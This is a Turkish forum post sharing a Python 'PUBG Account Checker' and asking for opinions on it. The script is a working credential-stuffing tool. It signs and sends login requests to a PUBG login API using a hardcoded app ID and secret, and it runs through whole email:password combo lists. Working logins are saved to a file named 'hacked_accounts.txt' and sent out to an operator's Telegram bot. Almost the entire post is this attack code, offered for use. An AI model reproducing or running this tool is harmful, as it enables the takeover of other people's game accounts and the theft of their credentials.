xSwagx
Efsane Üye
- Katılım
- 28 Eki 2023
- Mesajlar
- 2,123
- Beğeniler
- 756
- Yaş
- 20
Pubg Mobile İçin checker kodu buldum sizce nasıl?
Python:
import requests
import hashlib
import time
from colorama import Fore, Style, init
init(autoreset=True)
r = requests.session()
def print_banner():
print(Fore.CYAN + r"""
____ _ _ ____ ____
| _ \| | | | __ ) / ___|
| |_) | | | | _ \| | _
| __/| |_| | |_) | |_| |
|_| \___/|____/ \____|
""" + Style.RESET_ALL)
print(Fore.YELLOW + " PUBG Account Checker" + Style.RESET_ALL)
print(Fore.MAGENTA + " Developed by @blabla" + Style.RESET_ALL)
print(Fore.GREEN + "-" * 40 + Style.RESET_ALL)
def print_menu():
print(Fore.YELLOW + "\n[1] Tek Hesap Kontrol Et")
print("[2] Dosyadan Çoklu Kontrol")
print("[3] Dosya Formatı Bilgisi")
print("[4] Çıkış" + Style.RESET_ALL)
headers = {
"Content-Type": "application/json; charset=utf-8",
"User-Agent": "Dalvik/2.1.0 (Linux; U; Android 11; SM-G991B Build/RP1A.200720.012)",
"Host": "igame.msdkpass.com",
"Connection": "Keep-Alive",
"Accept-Encoding": "gzip"
}
def check_single_account():
print(Fore.GREEN + "\n[+] Tek Hesap Kontrol" + Style.RESET_ALL)
email = input(Fore.BLUE + "[?] Email: " + Style.RESET_ALL)
password = input(Fore.BLUE + "[?] Şifre: " + Style.RESET_ALL)
try:
md5_pass = hashlib.md5(password.encode('utf-8')).hexdigest()
sig_data = f'/account/login?account_plat_type=3&appid=dd921eb18d0c94b41ddc1a6313889627&lang_type=tr_TR&os=1{{"account":"{email}","account_type":1,"area_code":"","extra_json":"","password":"{md5_pass}"}}3ec8cd69d71b7922e2a17445840866b26d86e283'
signature = hashlib.md5(sig_data.encode('utf-8')).hexdigest()
url = f"https://igame.msdkpass.com/account/login?account_plat_type=3&appid=dd921eb18d0c94b41ddc1a6313889627&lang_type=tr_TR&os=1&sig={signature}"
payload = f'{{"account":"{email}","account_type":1,"area_code":"","extra_json":"","password":"{md5_pass}"}}'
response = r.post(url, data=payload, headers=headers)
if '"token"' in response.text:
print(Fore.GREEN + f"\n[✓] BAŞARILI! Hesap çalışıyor." + Style.RESET_ALL)
print(Fore.YELLOW + f"Email: {email}" + Style.RESET_ALL)
print(Fore.YELLOW + f"Şifre: {password}" + Style.RESET_ALL)
if 'token' in globals() and 'ID' in globals():
telegram_url = f'https://api.telegram.org/bot{token}/sendMessage'
telegram_data = {
'chat_id': ID,
'text': f"✅ PUBG Hesabı Bulundu!\n\n📧 Email: {email}\n🔑 Şifre: {password}"
}
r.post(telegram_url, data=telegram_data)
else:
print(Fore.RED + "\n[-] BAŞARISIZ! Hesap geçersiz." + Style.RESET_ALL)
except Exception as e:
print(Fore.RED + f"\n[!] Hata: {str(e)}" + Style.RESET_ALL)
def check_from_file():
print(Fore.GREEN + "\n[+] Dosyadan Kontrol" + Style.RESET_ALL)
file_name = input(Fore.BLUE + "[?] Combo dosya adı (örn: combo.txt): " + Style.RESET_ALL)
try:
with open(file_name, 'r', encoding='utf-8') as f:
accounts = f.read().splitlines()
print(Fore.GREEN + f"\n[!] {len(accounts)} adet hesap bulundu. Kontrol başlıyor..." + Style.RESET_ALL)
for i, account in enumerate(accounts, 1):
if ':' in account:
email, password = account.split(':', 1)
email = email.strip()
password = password.strip()
print(Fore.CYAN + f"\n[{i}] Kontrol ediliyor: {email}" + Style.RESET_ALL)
try:
md5_pass = hashlib.md5(password.encode('utf-8')).hexdigest()
sig_data = f'/account/login?account_plat_type=3&appid=dd921eb18d0c94b41ddc1a6313889627&lang_type=tr_TR&os=1{{"account":"{email}","account_type":1,"area_code":"","extra_json":"","password":"{md5_pass}"}}3ec8cd69d71b7922e2a17445840866b26d86e283'
signature = hashlib.md5(sig_data.encode('utf-8')).hexdigest()
url = f"https://igame.msdkpass.com/account/login?account_plat_type=3&appid=dd921eb18d0c94b41ddc1a6313889627&lang_type=tr_TR&os=1&sig={signature}"
payload = f'{{"account":"{email}","account_type":1,"area_code":"","extra_json":"","password":"{md5_pass}"}}'
time.sleep(0.7)
response = r.post(url, data=payload, headers=headers)
if '"token"' in response.text:
print(Fore.GREEN + "[✓] Çalışıyor!" + Style.RESET_ALL)
with open('hacked_accounts.txt', 'a', encoding='utf-8') as f:
f.write(f"{email}:{password}\n")
if 'token' in globals() and 'ID' in globals():
telegram_url = f'https://api.telegram.org/bot{token}/sendMessage'
telegram_data = {
'chat_id': ID,
'text': f"✅ PUBG Hesabı Bulundu!\n\n📧 Email: {email}\n🔑 Şifre: {password}"
}
r.post(telegram_url, data=telegram_data)
else:
print(Fore.RED + "[-] Geçersiz" + Style.RESET_ALL)
except Exception as e:
print(Fore.RED + f"[!] Hata: {str(e)}" + Style.RESET_ALL)
else:
print(Fore.YELLOW + f"[!] Geçersiz format: {account}" + Style.RESET_ALL)
print(Fore.GREEN + "\n[+] İşlem tamamlandı! Çalışan hesaplar 'hacked_accounts.txt' dosyasına kaydedildi." + Style.RESET_ALL)
except FileNotFoundError:
print(Fore.RED + "\n[!] Dosya bulunamadı!" + Style.RESET_ALL)
except Exception as e:
print(Fore.RED + f"\n[!] Hata: {str(e)}" + Style.RESET_ALL)
def show_file_format():
print(Fore.YELLOW + "\n[+] Dosya Formatı Bilgisi" + Style.RESET_ALL)
print(Fore.CYAN + "Dosyanız şu formatta olmalıdır:" + Style.RESET_ALL)
print(Fore.GREEN + "email:sifre" + Style.RESET_ALL)
print(Fore.GREEN + "..." + Style.RESET_ALL)
print(Fore.YELLOW + "\nÖrnek combo.txt içeriği:" + Style.RESET_ALL)
print(Fore.WHITE + "email:sifre" + Style.RESET_ALL)
def main():
print_banner()
global token, ID
token = input(Fore.BLUE + "[?] Telegram Bot Token: " + Style.RESET_ALL)
ID = input(Fore.BLUE + "[?] Telegram Chat ID: " + Style.RESET_ALL)
while True:
print_menu()
choice = input(Fore.BLUE + "\n[?] Seçiminiz (1-4): " + Style.RESET_ALL)
if choice == "1":
check_single_account()
elif choice == "2":
check_from_file()
elif choice == "3":
show_file_format()
elif choice == "4":
print(Fore.YELLOW + "\n[+] Çıkış yapılıyor..." + Style.RESET_ALL)
break
else:
print(Fore.RED + "\n[!] Geçersiz seçim!" + Style.RESET_ALL)
if __name__ == "__main__":
main()